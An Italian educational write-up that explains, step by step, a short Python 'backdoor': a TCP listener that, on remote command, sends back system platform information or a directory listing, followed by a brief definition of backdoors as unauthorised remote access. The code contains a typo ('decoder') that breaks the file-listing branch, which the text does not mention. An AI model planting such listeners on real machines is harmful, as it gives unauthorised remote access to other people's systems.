

# Backdoor

## Spiegazione codice

```
1  import socket, platform, os
2
3  SRV_ADDR = ""
4  SRV_PORT = 1234
5
6  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7  s.bind((SRV_ADDR, SRV_PORT))
8  s.listen(1)
9  connection, address = s.accept()
10
```

Per prima si importano tutti i moduli necessari ovvero : *socket* , *platform* e *os*.

Viene definito un indirizzo del server vuoto tramite "SRV\_ADDR" ed una porta tramite "SRV\_PORT".

Si crea un socket tramite la funzione 'socket.socket' che dirà di utilizzare tramite 'AF\_INET' gli indirizzi IPv4 e con 'SOCK\_STREAM' il protocollo TCP.

Per collegare il socket all'indirizzo ed alla porta si effettua il '*binding*' tramite '.bind'. Successivamente viene messo in ascolto il socket con la funzione '.listen' e con 1 si indica il massimo di connessioni in coda.

Con '.accept' si accetta e stabilisce la connessione.

```
13  while 1:
14      try:
15          data = connection.recv(1024)
16      except: continue
17
18      if (data.decode('utf-8') == '1'):
19          tosend = platform.platform() + " " + platform.machine()
20          connection.sendall(tosend.encode())
21      elif (data.decode('utf-8') == '2'):
22          data = connection.recv(1024)
23          try:
24              filelist = os.listdir(data.decoder('utf-8'))
25              tosend = ""
26              for x in filelist :
27                  tosend += " , " + x
28          except:
29              tosend = "Wrong path"
30          connection.sendall(tosend.encode())
31      elif (data.decode('utf-8') == '0'):
32          connection.close()
33      connection , address = s.accept()
```

Si passa successivamente alla creazione di un ciclo while che risulta sempre vero grazie all'inserimento del numero 1.

Riceveremo le informazioni tramite data con un log di lunghezza di 1024 byte.

Si potranno ricevere 3 tipi di risposte:

- se come risposta si riceverà 1 si otterranno informazioni riguardo la macchina;
- se si riceverà 2 ci verrà fatta presente anche la directory con una lista dei file al suo interno;
- se invece come risposta si riceve 0 la connessione verrà chiusa per passare alla prossima.

Cos'è una Backdoor?

Una backdoor, letteralmente porta sul retro, permette ad un utente di entrare senza autorizzazione all'interno di un computer o un sito web, così da poter accedere da remoto e controllare un altro utente.